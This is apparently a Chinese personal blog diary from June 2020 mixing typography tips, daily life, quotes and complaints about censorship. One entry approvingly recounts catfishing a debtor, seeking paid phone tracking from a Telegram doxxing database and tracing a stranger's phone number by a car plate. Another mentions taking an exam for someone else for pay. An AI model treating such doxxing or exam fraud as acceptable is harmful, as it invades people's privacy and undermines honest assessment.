这就是为什么 iPhone 只有 60 Hz 刷新率，却比有的 120 Hz 手机更流畅。（数字与单位之间空一格）上面这些其实是 iOS 系统设计者设计的初衷，你可以点击这个「链接」看更多其设计的玄妙，真的令人折服。
上面这些其实是 iOS 系统设计者设计的初衷，你可以点击这个 链接 看更多其设计的玄妙，真的令人折服。（此处链接不用直角引号包裹，前后空一格即可）手机储存也未占到 40 G，所以我毫不犹豫选择了 64G 的 iPhone X。
手机储存也未占到 40 GB，所以我毫不犹豫选择了 64 GB 的 iPhone X。（GB 才是完整的单位；Apple 的文案去除了数字与存储单位的空格，但是其他单位却有空格，例如 60 Hz，一直无法理解 Apple 的写法）Tim：64 GB 我是完全不够用，因为经常拍照。
金句：在数码圈有一个潮流：买新不买旧。刚上大学那会儿，我无比笃信，但现在，对我来说，适合自己的才是最好的。
挖坟警告：这是我拍过最好玩的一张图 (づ￣ 3￣)づ
晚辈长大了看到这篇文章的这张图（NSFW），你就等着求饶吧，因为互联网是有记忆的，到处是爬虫，删除原文，还有很多 Copy。做公车，背单词，学会世界通用语言，才能享受全世界的科技文化成果。
18:41Recently，我发现很多女孩子喜欢在朋友圈许愿「暴富」，这样容易陷入「消费主义」，一个由商家营造的虚荣陷阱。
梨园乡种植的巨风葡萄今年已经进入了丰产期，亩产 1000 公斤 ~ 1500 公斤。
这句话使用了错误的（半角）波浪号 ~（U+007E TILDE）作为（全角）浪纹号 ～（U+FF5E FULLWIDTH TILDE）来标示数值范围的起止。
如何输入正确的浪纹号？以微软拼音为例：
1️⃣ 切换到全角状态（Shift + Space）
2️⃣ Shift + ~（Esc 的下方）
3️⃣ 切换回半角状态（Shift + Space），接着输入其他内容因此，输入正确的浪纹号是一件很麻烦的事，推荐使用 至 或者 到 代替 ～ ：亩产 1000 公斤至 1500 公斤。
更多排版规范（中文、英文和中英混排），请参阅 tingtalk.me/style-guide
我也在思考是否有必要发这些「细枝末节」的东西在频道上，因为对于频道的八百多位关注者来说，这个属于「信息噪音」。
但总要有人去做「科普」这件事情，能影响一个是一个。就像我孜孜不倦地帮助朋友或网友实现网络自由。
这并不是要显示我很高尚，我只是很享受「助人为乐」的成就感。
二爷（邱岳）也说过：「在我看来，好的文字应该是长命的，缓释的价值越多，文字越高级。高级的文字并不着力于哗众取宠的爆发，而是有与众不同的角度和观点。我们会本能的高估短期，而低估长期，文字的价值如是，生活工作也是。」
而标点符号也是语言的重要组成部分，应当受到同等的重视。
另外一方面，我几乎很少在文章中使用当前的网络流行语。因为 50 年后，新的读者可能看不懂这些「速朽」的表达。
世界是一种混沌（熵增）的状态，必须接受它的不完美，才能获得 Inner Peace。
我在文章中列出如此多的「文案风格」约束（八千多字），更多是对自己的要求，当然我相信，有一部分读者会被「点化」，让中文在数字化的过程中得到优雅地呈现。
如果发言的人注意专有名词的写法，中英文之间会空一格。例如苹果手机的写法是 iPhone 而不是 iphone 或者 IPhone（仅作举例）。此人的发言大概率是经过深思熟虑的。
动不动就使用害羞的表情（微信 / QQ），特别是在公共讨论空间，看到就没有交流的欲望。你我在网上萍水相逢，这样交流一点都不得体。
不是指这种中英夹杂：
你 look look（看看），这个人一点都不 update（潮）。
而是这种中英混用：
面向 Android 应用开发者的官方网站。提供 Android SDK 工具和 API 文档。
Android、SDK 和 API 都没必要翻译。
2020-06-03
男人都是大屁眼子，他们的嘴，是骗人的鬼。
One day, the police will take me to the police station, again.
18:45给电动摩托车装了临时的黄牌（B），过渡期至 2021 年 12 月 31 日（到期不能骑），因为不符合 GB17761-2018 《电动自行车安全技术规范》国家强制标准的电动二轮车：
- 最高时速≤25 km/h
- 整车质量（含电池）≤55 kg
- 须有脚踏骑行能力
- 电机功率≤400 W
- 电池标称电压≤48 V
上牌之后，违规将受到处罚：
- 驾驶电动二轮车闯红灯，罚款 300 元。
- 驾驶电动二轮车逆行，罚款 300 元。
- 驾驶电动二轮车走机动车道，罚款 500 元。
- 驾驶无牌（标识）电动二轮车冲禁令，扣车并处 2000 元罚款。
- 驾驶无牌（标识）电动二轮车违规载人、载物，扣车并处 2000 元罚款。
- 驾驶无牌（标识）超标电动二轮车，扣车并处 1000 元罚款。
- 酒后驾驶电动二轮车的，处 500 元以上 2000 元以下罚款。
- 驾驶电动二轮车不戴头盔的，依法处罚。
2020-06-04
电动摩托车一上牌，就被抓。旁边的非机动车道坑坑洼洼，于是骑行在机动车道最右侧，但是也违规，罚款 ￥50。Fuck China Traffic Police!
2016-10-05：国庆节出生的侄女取名为钟秋琳（ZQL），寓意「瓜豆盈满，禾熟秋临」。叔叔对你的希冀是：人生如丘陵（秋琳），起起伏伏；平常心对待，开开心心。
不要对饱受限制的工作予以苛求。by oooooohmygosh
大姐让我去创业，我说我对钱没有渴望，不想在困在利益迷宫里。
23:182020-06-05
冰箱外壳好烫，调到 2 档好了。
23:352020-06-06
暴风雨即将来临，窗外出来的，很是凉爽。
00:11吴松磊（1994 年生）想要用视频去解释这个世界运转的规律，他们关注当代生活的方方面面。“我们从来不愁选题”，他说，矿泉水瓶子、桌子、凳子、电视，这些都是我们的选题。
……
被网友骂“双面针”，会难受或委屈吗？
“还行吧”。
问得多了，他会不好意思地对你说，“我是一个没有什么情绪的人”。——甚至一年前在产房外第一次见到女儿，自己的第一个孩子，也没有太大的情绪波动，因为“这是一个必然的事情”，高兴，倒也不是那么激动。
……
聊到他们做的第一期视频，《摄像头是如何监控 13 亿人》，讨论这会不会过度侵犯了人们的隐私。他很快中止了讨论，“我们都是没有态度的”，他一再强调，他们对大部分问题都是没有态度，“只是想把问题搞清楚而已”。
……
看上去，吴松磊似乎没有太大焦虑，就像你大多数回形针视频中看到的那样，脸上没什么表情，语速快而平缓。他穿着一件条纹衬衣，整个人仿佛都要陷在椅子上，刚洗的头发还有点湿漉漉，“我一直都睡得挺香的”，他说。
这是中午 10 点，还没到公司的上班时间，大多数员工要到 12 点之后才会陆续到达。这不是吴松磊刻意要求的结果，“我希望是一个自由的上班时间”，他给团队说，可以早上 10 点来，下午六七点钟走，也可以晚一点，那么下班时间就延后一些。最后，“发现大家都是 12 点来”，一两点的也有。就连他自己，平时也都要到 12 点钟之后才过来。
这种慵懒的腔调延续到整个公司的装潢上。一进公司，迎面摆着的是 4 个软绵绵的沙发，中间的茶几上放着一副没收拾好的象棋。沙发一侧扔着一台粉色的抓娃娃机，里面装着大大小小的可爱娃娃，“不知道哪个同事搬过来的”，吴松磊说，“你们想玩也可以玩”。
……
一开始，吴松磊还跑去各个平台上看针对他们的评论，后来发现大家“骂的类型都差不多”，就没再看了。“能理解，一种嫉恶如仇的正义感，我们都有过”，他说。
……
当天吴松磊没有再针对此事进行更多回应。一个月后，他对凤凰网科技（微信搜：iFeng科技）说，“我们应该会成为一个比较标准化的反面教材，供其他的创作者参考。”
……
停更期间，他们开始了漫长而枯燥的内部审查。每个人坐在工位上，盯着视频逐帧逐帧地看，检查科普内容上的错误，当然更重要的——检查地图，以及任何可能引发歧义的表述。有时候，他们也会挤在公司 1 楼的会议桌上，对着那台看上去至少 70 寸的电视屏幕，从下午一直看到晚上。
确实有不少问题，有的是技术细节上出了披露，有的是叙事逻辑存在漏洞，又或者某个动效标注错误了，甚至还有粗心导致的单词拼写错误。在那期展示他们制作流程的视频中，吴松磊总结说，“我们不得不接受一个让人沮丧的事实，我们几乎无法避免错误”。
……
最后，他们决定组建一个专业的审稿志愿者团队，帮助他们检查发布的视频。吴松磊在视频中发出了招募的链接，收到了四五千份报名的申请，他们从中选出了五六十位。（我提交了申请，没通过。）
……
过多的好奇心往往不是好事。回形针成立初期做了不少他们认为好玩的选题，比如如何建造一座监狱，如何科学地执行死刑，如何实行一次逼真的砍头。这些视频你也许看到过，但现在你（在中国大陆）绝对找不到了。
……
有些改变可能不容易察觉。“很多以前正常说的话，现在可能都不敢写了。”一位回形针的员工说。
不要把时间和生命过度消耗在电子玩具上。
18:40上初中的外甥身高长到 175 厘米了，那我只有166 厘米。
19:512020-06-07
很多时候，我在舍身取义。
10:33《海贼王》（One Piece）动漫还没有恢复更新，该死的疫情。
看完了《权力的游戏第一季》（Game of Thrones Season 1，2011），太精彩了，但是不能沉迷了，下午要利用时间学习一番以及去医院打疫苗。
12:56如今，大多数网站都是由专业人士和市场营销人员作为商业产品构建的，经过优化可以吸引最大的受众，产生参与度和转化率。但是，世界上还有一小撮鲜为人知的网页，由普通人设计，目的是与世界分享他们的兴趣和爱好。没有过分的修饰，通常也很古怪，但也往往很有趣和富有创意。by《重新发现小型网站》（[Rediscovering the Small Web](Rediscovering the Small Web)）
那些闯红灯的人，如果 Ta 们不必抚养小孩或赡养老人等，应该立刻暴毙。
单身久了，出门打疫苗（第 4 针），感觉异性们都好好看。
14:56旧的拖把放在窗台上，被风吹走了，于是买了免手洗的旋转拖把，这下擦拭狗尿，轻松多了。
朋友 WLL 在天台搭建了一个小小的多肉植物园，我拍了很多照片，并顺走了 2 只乌龟。
20:38脑袋 🤯 有点沉，眼睛 有点痛，那就早点休息吧。
21:402020-06-08
电闪雷鸣，风雨交加。
05:07不可剥夺的人权包括：生命权、自由权和追求幸福的权利：
- 生命权是指任何人不会因为他人或集体的利益而被剥夺生命。
- 自由权是指个人享有个人行动、个人选择、个人创制并拥有个人财产的权利。失去了拥有个人财产的权利，独立行动就无法得到保障。
- 追求幸福的权利是指在尊重他人相同权利的前提下，人有权为了自己而生活，可以选择能给自己带来幸福的生活方式并予以实现。也就是说，任何人都不必为了他人或集体的幸福而牺牲自己的幸福，集体不能决定个人的生存目的，也不能左右他追求幸福的方式。
又去大姐 ZYX 那里蹭饭，多余的打包带走，还有水果。
20:412020-06-09
至今，如果我的耳朵 👂 佩戴耳机 🎧 半小时以上，就会开始疼。
08:22关机下班，回家捡狗屎。
18:08站在 10 年后的视角看现在的行为，你就会发现什么是重要的，什么是虚荣的。
不误正业。
2020-06-10
每次在笔记本电脑 💻 上登录微信，都需要在手机 📱 上确认，都觉得这是一个多么傻的设计。
08:40即刻 App 回来了，已加入 1454 天。
12:322020-06-11
睡前感觉温度适宜，没有蚊子，偷懒没放蚊帐。入夜，热醒几次。一开灯，蚊子挂满了帐上。干，空调 25℃ 强劲模式，冻晕这些飞行生物。
04:00李想：关于工作和成长，这是我的 100 条建议：
- 人穷志短，钱多了眼界、胸怀、学识相对更广阔，世界更大。
- 人的质变源于疼，人的量变源于甜。
- 大部分人其实都是巨婴。不过，什么时候改变都不晚。
- 别做好人，做好人太辛苦；也别做坏人，良心过不去；努力做个正常人。做个正常人，拥抱生活的跌宕起伏，不断成长，对自己和心爱的人负责，就足够了。
- 人因为痛苦而改变，因为受益而坚持。
- ……
为什么即刻上没有「深圳宠物领养救助小组」？@即刻首席铲屎官 @即刻编辑 @瓦恁
2020-06-12
熬夜追剧，没背单词。
00:56无人收「尸」的共享单车，在资本的屠刀下，一个个变成了游荡在人间的野鬼。仔细听，它们在哀嚎。
关于牛鬼蛇神的东西，以往我都是沉默，但是今天 PS 又在耳边嚷嚷，生肖（属性）对人有很大点影响：
- 属马的人，天马行空
- 属猴的人，诡计多端
- 属兔的人，温顺乖巧
- ……
我忍不住反驳：一个事物不能用被现代科学验证，那就要存疑。
08:51Nei.st 提供借以观察世界的可靠新闻，文章来自 The Wall Street Journal、Initium、Caixin、The Economist、Bloomberg、National Geographic、NYTimes、The Guardian、nfzm、YiMagazine、The Atlantic、Lifeweek、Nautilus、Financial Times、Comparative Studies、Caijing、Movies、City、Travel、Uncertainty……
💝 Nei.st 不只在乎内容，样式也很看重。网站使用了漂亮的自定义字体和大尺寸图片，虽然会拖垮网页的加载速度，带来更高的宽带和服务器费用支出，但 Nei.st 希望读者获得最接近网站创建意图的体验。
🙋 运营网站费时费力费钱（付费文章、网站支出），为了让灯塔持续发光，请打开这个 不吐不快 的声明，并点击文末广告。
🤟 如果你喜欢我们，请让我们知道。如果你愿意支持我们，更要让我们知道。而如果你不喜欢我们，也请让我们知道。讨厌的人多了，也许就让我们熄火了。
🔔 RSS 订阅链接：https://nei.st/feed
以为历史是走两步、退一步，而最终仍是向前的，而今天，却也可能是退两步、进一步，而最终仍是后撤的。
Nei.st 留意到近期的几件事：
- 备份被删除文章的「端点星计划」的志愿者以 涉嫌寻衅滋事罪被执行指定居所监视居住。
- 中国判处拥有瑞典公民身份的书商桂敏海 10 年监禁，并表示他的中国国籍已恢复。
环境悲凉，有风有险，寒蝉效应，我们将：
- 文章自发布后设有 4 天赏味期；
- 长文章不再提供全文；
- 更新密度再下三个台阶。
我们深知，委曲从来求不得全。于此，我们欢迎大家的继续关注，也欢迎大家的不继续关注。
最后让我们回望斯凯岛 (Isle of Skye) 上 Neist Point 的风景，这也是 Nei.st 的由来：
美国电影里常有这种镜头，某人走到了一个诸如大峡谷之类的地方，站在一块伸向虚空的岬角上，于是镜头旋转 360 度，让我们看到整个世界都匍匐在他脚下。我们就知道，这人走到了世界尽头，而且他自由了。by 李海鹏
以上内容摘录自：看了某些不该看的东西的 Nei.st 的 不重要启事。
厌倦上班，什么都不想干。
羽毛球打不过公司的采购小姐姐，只能仰天长啸。
我「锄」艺不行，挖不了墙角。
2020-06-13
当两个人有默契，就能闭嘴享受片刻的沉默。by 《低俗小说》
去学会很好地爱一个人需要经过漫长的时间，甚至用一生的时间才能办到——保持足够距离，拥有适宜的谦卑。by 梅·萨藤（May Sarton）《独居日记》
江上往来人，但爱鲈鱼美。君看一叶舟，出没风波里。by 范仲淹（宋代） 《江上渔者》
能否彻底无视当今社会对于一个人“成功”与否的衡量标准？如何应对他人（包括最亲近的家人好友）的质疑？怎么接受必然的孤独？by 自习者（Autodidact）翁天信
在你对自学的定义中：“学我之所想，看我之所看”中，感觉“自我”在你自学过程中是最核心的推动力，一直在根据自我爱好、对人生的规划确定如何学习。如果没有外界压迫纯靠自动力，是否会存在不想学了，或无法找到学习意义的情况？
翁天信：偶尔会有，遇到这种情况我会去做些别的事情，比如看点杂书、电影、纪录片或者去短途旅行——实际上也是一种形式的学习。更多的自由必然意味着更大的责任，正因为不存在外界压迫，我反而对自己更加严苛——假如我想就此沉沦在“奶头乐”之中，没有任何人能够阻止我；然而，平白浪费时间所导致的后果也没有任何人能够替我承担——我今天的所作所为会直接关系到我的未来，包括将来自己的家庭与子女，这就是最好的动力了。
不小心把多肉植物的沙土倒在笔记本电脑的键盘上了。
20:542020-06-14
三条斗鱼，突然变成两条了，原因未知：自己跳出来被猫吃了？还是被其他两条斗鱼分尸了？
02:50你的嗓子天使吻过，我的嗓子恶魔掐过。
03:08好久没熬这么晚了。
03:24刷完了 Telegram 的未读消息，起床学英语。
08:50剑桥雅思（11）的 Listening 和 Reading 太难了，测到一半打瞌睡，趴了半小时继续做阅读题，几次想放弃，最后坚持做完，不过不少答案留空了。
8 年前我填大学志愿的时候，5 个志愿都是英语相关的专业，然后都没被录取上，所以被调剂了。就因为我太懒惰，没有努力学习，没有想方设法转回英语系。以前的恶果现在承担。
突然羡慕成双成对的俊男美女。
22:122020-06-15
Jadon，你好。感谢你的推介。「庭说」非常棒，浏览下来非常受教。想说一声，谢谢。祝好。by Nei.st
成了公司的网络管理员。
14:04今天上下班都是骑电动摩托车，10 km 只要 30 分钟，非常愉快，但是交警又颁布了很多限行道路，7 月 1 日开始实行。干它娘的，上牌何用？！
我从 2019 年 6 月 13 日开始学做菜。
为了汲取各家之长，我会在 google.com 上搜索菜名，然后看 3 到 10 个视频，甚至 20 个，接着开始做精美的笔记（tingtalk.me/cook），思考烹饪的秘密，最后在狭小的厨房里手忙脚乱地舞刀弄锅，祈祷火候刚好，味道适中。
顺利的话，我会在 20:00 享用晚餐；复杂的菜式，则需要 21:30 才能开动。
转瞬之间，已和各种食材打了一年的交道，厨艺可能还不足以招待宾客，但我学会如何与平凡的生活和解：
人生，不过一日三餐。
21:03一盘苦瓜换了隔壁小姐姐（LQN）的一盘饺子，说实话，味道一般，但心情愉快。
21:262020-06-16
庭说的电报频道突破 900 人了，还有差 100 人，就可以解锁 Channel Stats 功能。
If you have a channel with more than 1000 subscribers, you can now view detailed statistics about its growth and the performance of its posts. With this information, you can find out what‘s working and what’s working really well.
仿佛回到了 4 年前，为了解锁公众号的原创标识和留言功能（可惜被永久封号了），苦心积虑地写文章。
09:222020-06-17
梦中幻想自己开车上路，因为考了驾照一直没开动。
07:27我之前靠物质填补不安全感。比如我有一台佳能相机，但是我想要徕卡或者飞思，当真的有一天摸到一台三十万的飞思，就觉得没有我想象中那么好，拍出来的照片和用佳能没什么区别。当我用外界的东西装点自己门面时，并没有解决真正的困境，只是换了一个层面在焦虑。意识到这个的时候，我就觉得钱不能解决我真正的问题。你不知道自己要干什么，你周围的人都非常优秀，你就想跟着他们的脚步走，起码会求个心安：至少我跟大家一样。你现在还可以说服自己，但等到中年以后，这个问题肯定会爆发出来的。年轻人的问题说实话就是穷。去做一份工作，主要就是为了钱。做到中年，你只要努力、有点天资，都不会很穷，但你会发现，当时选择这份工作的意义，没有了。我见过好多这样的。感觉我爸也是，人到中年得到了年轻时想要的东西，但回过头发现人生的意义已经没有了。中年危机肯定会在我身上爆发的，所以我决定提前把它处理掉。by 张根
打完羽毛球，又是一身汗。
21:162020-06-18
完善了博客的 tags。
16:082020-06-19
周五不开心，因为周六要上班。
07:122020-06-20
重装 Windows 10 系统失败五六次，使用 Dism++ 修复一下引导就好了。
体验了半天的流水线作业，觉得厂仔厂妹太不容易了。不能说话，不能听音乐，重复同一个操作，工时长，加班多。Ta 们是现代物质文明的牺牲者，也是向往美好生活的奋斗者。
23:112020-06-21
我不想去当培训老师，教学生如何在应试教育中获利（特别是英语和语文），而不是真正地学一些有用的科学文化只是。
更不想去某个街道办工作，成为中国共产党的喉舌。
我对大部分工作都没有兴趣，一个职场上的流浪者。
07:42今日父亲节，给老爸发了 ￥200 的微信红包。
08:04“日长之至，日影短至，至者，极也，故曰夏至”。
夏至（亦是父亲节）这天，此时北半球各地的白昼时间达到全年最长。对于北回归线及其以北的地区来说，夏至日也是一年中正午太阳高度最高的一天。
所以非常适合在天台晾晒洗好的被子和枕头，可我抬头一看，顶上出现了一大块乌云与我的「床上用品」争夺阳光。
上帝呀，如果你能帮我拨走那片乌云，我愿意「早睡早起」换取你的恩泽。这对生活在钢筋森林里的年轻人来说，无疑是一个毒誓。Deal?
08:41下午出去遛狗，刚好遇到了日环食，虽然我对这种自然现象没啥特别的感觉。
10:222019 年 8 月 13 日买了 5 kg 的面粉，信誓旦旦地要做包子，但是一直没动手。
2019 年 9 月 8 日买了 20 袋干酵母，雷声大雨点小。
2020 年 4 月 12 日买了 40 cm 长的擀面杖，万事俱备，懒癌发作。
2020 年 6 月 21 日，做了一年饭，厨艺对付区区几个包子不在话下，结果：
- 皮厚馅多：24 个包子的面粉，只做了 15 个。
- 水乳交融：全程黏手，后期加粉，抢救无果。
- 胎死腹中：一些包子还未成形，就被人流了。
不过，狗子挺爱吃的（肉包子打狗，有去无回）。
为了学会做包子，我买了厨房称（精度 0.01 g），并且反复练习去皮称重的步骤。
包子在微信中是微信的政治敏感词，所以我都这条朋友圈被微信屏蔽了（只对我可见）。我的解决办法就是用
Bao替换包子。第 5 针狂犬疫苗（总花费 ￥431），注射完毕。
20:192020-06-22
对工作提不起兴趣。
为了看完《权力的游戏》第三季，吃了饭，不背单词，不洗碗，不洗澡，不拖地。然后在 00:30 极不情愿地干完这些事。
01:162020-06-23
2013 年，我上大学了，我的大姐给我买了一台惠普笔记本电脑：
- 型号：Pavilion 14-e034tx
- 价格：￥3500 左右
- 重量：2.1 kg
- CPU：Intel 酷睿 i5 3230M
- 显卡：AMD Radeon HD 8670M
- 内存：4 GB
服役多年后，现在不能开机，按下电源按钮后没有任何反应，电源指示灯闪烁（正常是长亮）。拆卸电池，放过静电后，依旧无法开机。
初步诊断是主板出问题了，官方维修价格最低 ￥580（深圳只有一家售后服务中心），淘宝店家是 ￥200 左右。6 月 28 日去线下电脑店，花了 ￥200 块（原价 ￥230）修好了。
起因是灰尘太多，散热不良，长时间的炙烤让主板上一个 MCU 烧坏了。
电动摩托车忘记充电，于是找了一个便利店，市场价是一块钱充 2 个钟，我说 5 块钱你充两个钟可不可以？老板娘坐地起价要了 7 块钱。
15:41用了一年多的米家电磁炉，现在才想起它的定时烹饪功能，而以前，每次都要在手机上设定倒计时。
20:45成功的定义已经变得如此单一：票子 + 婆子。为什么不允许另外一种价值形态：穷则独善其身，走自己的路。
2020-06-24
或许「正能量」的反面从来不是「负能量」，而是「多元」，是一个有杂质、灰度和噪音，可以提出问题、讨论观点并容忍异见的空间。
你希望孩子活在怎样的世界，拥有怎样的生命实践，你就会选择相应的「教育自救」：是守护 Ta 们的正直、好奇、开放、鼓励求真向善、让人成为人，还是接受和迎合现实，成为精致的利己主义者（满足虚伪和权威，更容易让自己获得利益）？
学校教育不完美，根本上还是要靠父母的言传身教。父母有空就玩手机，就很难培养孩子深度阅读的习惯。因此想要教育自救，对父母提出了更高的要求，不仅仅是金钱上。
沉重的生活把什么沟壑都压平了，爱恨意气是昂贵的事。by 刘天昭《无中生有》
我最近在帮一个女同事（OYQ，简称 Q）讨债。Q 的前上司（简称 T）向 Q 借了 1 万 5，然后失踪了。
于是我用我的微信小号（昵称改为小婷子 Tina，但是性别忘记改了，不过 T 没发现）去勾引 T。T 很警觉，要和我视频通话，于是我找了另外一个同事糊弄 T，但是因为半夜没有回消息（原因之一），T 把我的小号删除了。
从朋友圈的照片、定位、文字以及聊天记录都没能定位到 T 的位置，于是我去 Telegram 上找社工库。通过手机号码定位全天轨迹（5000 元左右），以及导出通话记录（5000 元左右）太贵了。百思不得解时，Q 慢速播放 T 拍的小视频，看到了一个车牌号（不是 T 的），通过某些手段，找到车主的手机号码，然后 Q 联系车主得到了 T 的位置。
昨天 Q 去找 T 算账，T 死活不还钱，闹到派出所，但是警察不管民间借贷……现在 T 非要说 Q 的男朋友打了他，虽然只是拉扯而已，T 却要求去验伤。
打人渣的事，昨天 Q 没叫我去。我学了 6 年中国武术：3 年套路（类似于艺术体操）和 3 年散打（类似于自由搏击），现在没有用武之地。
默默窥了很久，每次不开心的时候都会打开，很温柔很治愈。by 劉詩藝
我把所有的倾诉欲都表达在博客上，坏处就是和碳基世界的朋友叙旧少了，好处就是在一个不受时空限制的硅基世界，找到了属于我的读者。
时隔几年，再次见到初中同学 TSW，气氛有点尴尬：
- 他不喜欢养狗，还不如做成狗肉煲。
- 问他对象处得如何？羞于跟我提起。
- 闲暇之余他会看王者荣耀解说视频。
- 他的言语空洞，没有年轻人的意气。
有点可惜，他变得如此世俗。
我炒了一个饭，要不要试一下？by LQN
21:29睡了吗？我电脑有点破问题，可以帮忙看一下吗？by LQN `23:08
2020-06-25
天色已晚，那就不洗澡，直接睡觉吧。
01:19端午节快乐？平常问候很多今天怎么没有了？by DHF
美好生活，接粽而至。端午节快乐。
喜欢一个女生，在学生时期不一定要在一起。更不可以发生性关系，真正喜欢才不会那么做呢，年纪太小，对她也是一种伤害的。以后上大学，有个好工作，正大光明追求不香嘛？by 上初二的 CFD
端午只放一天假，但又是家人开的公司，干!
2020-06-26
昨天冰箱的冷冻室没关门。
07:34把笔名从「庭勃士」改为「小庭子」。之前把英文名从「Jadon」还回「Tim」。如何定义自己？我是谁？每个阶段的心境都不一样。
12:12为了在工作与生活之间取得平衡，我向 P 总申请明天和以后的周六在家办公（SOHO），理由如下：
- 移动办公：骑摩托车来回一个多钟，只是换个工作地点，浪费了时间和精力。
- 社交需求：单休让我错失很多与新朋友线下交流的机会。
- 健康第一：多一个下午锻炼身体，维持久坐带来的身材臃肿。
- 劳逸结合：过长的上班时间让我慢慢丧失对工作的激情，没有周末的盼头。
望 P 总同意。
2020-06-27
如果说有一种灵丹妙药，可以永葆青春，那只能是学习。徜徉在知识的海洋，我满心欢喜，做什么都可以。活到老，学到老。by 《喜相逢》 - B 站 11 周年特映
谢谢 Hexo 和 NexT，让我感受到博客之美和自由表达的快感。
01:48昨晚音响没关。
07:25互联网追求流量，放大了人性的恶。应该说各个行业都是逐利的，而我反感不正当的商业行为，所以处处碰壁：一年前我的心态非常差，觉得自己学了很多，但是什么都不会。
现在不会了，天天过得很开心，虽然收入一直在下滑，但我不觉得苦。能找到自己的一亩三分地，并且保持初心，解决温饱，不说实现财务自由，都是非常幸运的人。
我现在是一个分对错的老男孩，也许穷疯了，过几年，我就会金钱利益低头了。
人，一定要结婚吗？——唯有大道，才能不孤。凡夫俗子，还是要在“情”上颠颠倒倒。孤，则怕，则忧，则伤，则病……抓一个人来陪，能更颠倒，或摊薄精神的困顿与慌张。能坚持到金婚、钻石婚的，要么极端平庸，要么极端有修养，而且平衡感极强，有能力化解痛苦。所谓幸福，是一种甘于平庸的感受。我就能坚持，因为极端平庸，和极端有修养，呵呵。所以，想白头偕老，你得有足够的耐心。by 《生命沉思录：写给2012的文化焦虑 - 曲黎敏》
我基本已经放弃去说服任何一个人了，不管是亲人还是朋友。
我每次看完电影都会看影评解说视频，半个钟或者一天，甚至更长时间，去理解影片的含义。
打了几个钟篮球 🏀，命中率不错，真痛快。
21:252020-06-28
「即刻」居然把「我的圈子」删除了，只剩下「动态广场」（没关注的圈子也会出现这里）。罢了，只能翻一个无奈的白眼 🙄。
代考成人大专英语，劳务费 ￥88.88。
12:42《海贼王》（One Piece）电视动画于 1999 年 10 月 20 日首播。因为疫情的影响（新型コロナウイルス感染拡大に最大限の配慮をするべく、当面の間、「ワンピース」の新作の放送を休止することに致しました。），本该 4 月 26 日播出的第 930 集，终于在 63 天后恢复更新了。
13:21又打了几个钟的篮球，直到隐形袜滑倒脚底，才湿漉漉回到睡眠仓。这个时候，买一块冰西瓜，大口啃，特别爽。人生可不可以定格在这个瞬间，不用为上一辈考虑，也不用为下一辈准备，更不用为自己规划人生，就这样坐在单身公寓的椅子上，享受晚风习习，酣畅淋漓。
2020-06-29
今日的 Daily Bing是索维拉附近摩洛哥坚果树上的山羊。但这是一场骗局，人为让山羊上树，为了收取羊粪中的果实以及游客合影费。
因此我也不推荐去动物园，看马戏团，因为人类活动让动物违反了天性。动物们应该生活在野生丛林里，而不是被供人观赏。如果濒危，人类可以提供协助。
01:03不在中英文之间空一格的 UI 设计都是二流设计。建议小米的设计师多看看 Apple、Google 和 Microsoft 等。
给老板娘 4 只龟，她养死了 2 只。
昨天我把二手电动摩托车（已跑了 7500 km 左右）的电几乎用光了，上坡时速为 0 km/h，需要脚蹬才能前行。19:52 骑到充电站，付了 3 块钱（可充 6 个钟）。22:56 退款 1 块钱，懒得下去排查原因。今早一看，充电器被拔了，但是附近一辆车都没有，只能自认倒霉。不想搭拥挤的公交车去上班，还是选了这辆「老爷车」。骑到半路，提示「电量不足，请及时充值」。公司附近的充电桩都是三孔插头，台铃电动摩托车是该死的两孔插头。我想，下班推车几公里回家，应该会是一个有趣的经历。
受影子经纪人（The Shadow Brokers）的邀请，身为十八线博主，却有幸做客 tsb2blog.com/tingtalk（一个关注内地网络文化的个人向博客）。
中国大陆是地球上网络封锁最严重的国家之一，所创立的社会主义核心价值观（24 个字）自然没有「独立」二字。所以，我的「独立博客」被境内遭到封杀。
如今，公开写点东西，你要顾忌的东西太多。连我一个写行业评论不怎么愿意做公知的，都已经深深感到了一股刺骨的寒意。我甚至有时候会觉得，在今天还在写评论力保自己的号不丢文章不删，都是件很丢人的事。by 魏武挥
一念及此，对于封号 / 封站这件事，就释怀了。
不敢在家人群闲聊了，因为老板也在那个群。
14:20同事：你头发在反光。
鄙人：那是白头发。
同事：肯定是夜店去多了。
鄙人：我可是纯情小火鸡。tingtalk.me 进入图文时代，虽然会增加后期的迁移成本，但是有时候一图胜千言。
16:46为了让图片更好看，在 Photoshop 中添加了阴影。并且使用 PNG 格式，支持透明背景，提前适配博客的 Dark Mode（深色模式）。坏处就是图片比较大（40 KB 左右），而 JPEG 格式的大小可以压缩到一半以下。
feedly.com 有 77 个的订阅者。但是无法抓取图片作为封面图。
inoreader.com 有 100 个订阅者。抓取图片的做法很激进，把隐藏的赞赏码都挖出来了。为了不让订阅者的 RSS 信息流充斥着大量的赞赏码，此后会在文章中添加封面图。
自由不是一种想干嘛就干嘛的状态，而是我想不干嘛就不干嘛。我觉得所谓财富和自由，是两码事。财富代表你有没有钱，自由代表你是不是有自己能选择的权利。有钱的人不一定自由，自由的人不一定有钱。by 郭宇
2020-06-30
为博客的每篇添加封面图，工作量也不小。
00:53昨天上午把蓝牙耳机放在同事的桌子上充电，下班的时候以为耳机弄丢了，怎么也找不到。
08:45晚上十点半，八年级的学生还在写作业，而我的初中时光，早已鼾声四起。
注：我给电动摩托车充电，孩子则借着充电站的光管奋笔疾书。她的对面坐着一位大人，可是大人却没有意识到这样的亮度会损害孩子的视力（使用 Google 相机 App 会拍得很亮）。
偷拍成功后，我很想对祖国的花朵说点什么，但却找不到理由。她可能不是最惨的，因为同事的孩子经常写作业到凌晨一两点，甚至三四点。
要是我有孩子，不，我完全不想有孩子。
23:112020-07
2020-07-01
上了一天班，但是都没干活。
2020-07-02
2020 年的下半年开始了，人生是否有新的转机？
00:19空调房28 ℃，凌晨四点多被热醒。
07:12上班路上，天降大雨于鄙人也。
08:54从大学到现在，「老冰棍」都是买给脚「吃」的。打篮球的时候，每当球友崴脚时，我就即刻去买一个冰棒给 Ta 敷脚，使局部血管收缩，减轻肿胀带来的疼痛。这次用嘴巴吃同款冰棒，总感觉怪怪的。
14:20根据 《深圳市社会医疗保险办法》，基本医疗保险一档参保人个人账户积累额超过本市上年度在岗职工平均工资 5%（9309 × 5% ＝4651.5 ），超过部分可用于支付本人及其已参加本市基本医疗保险的配偶和直系亲属的健康体检、预防这种费用（包括狂犬疫苗）。
但是我也买了意外险（2019 年 7 月 28 日投保，￥169/年，50 万保额）。为了体验一下保险理赔流程，所以我没有用医保卡。
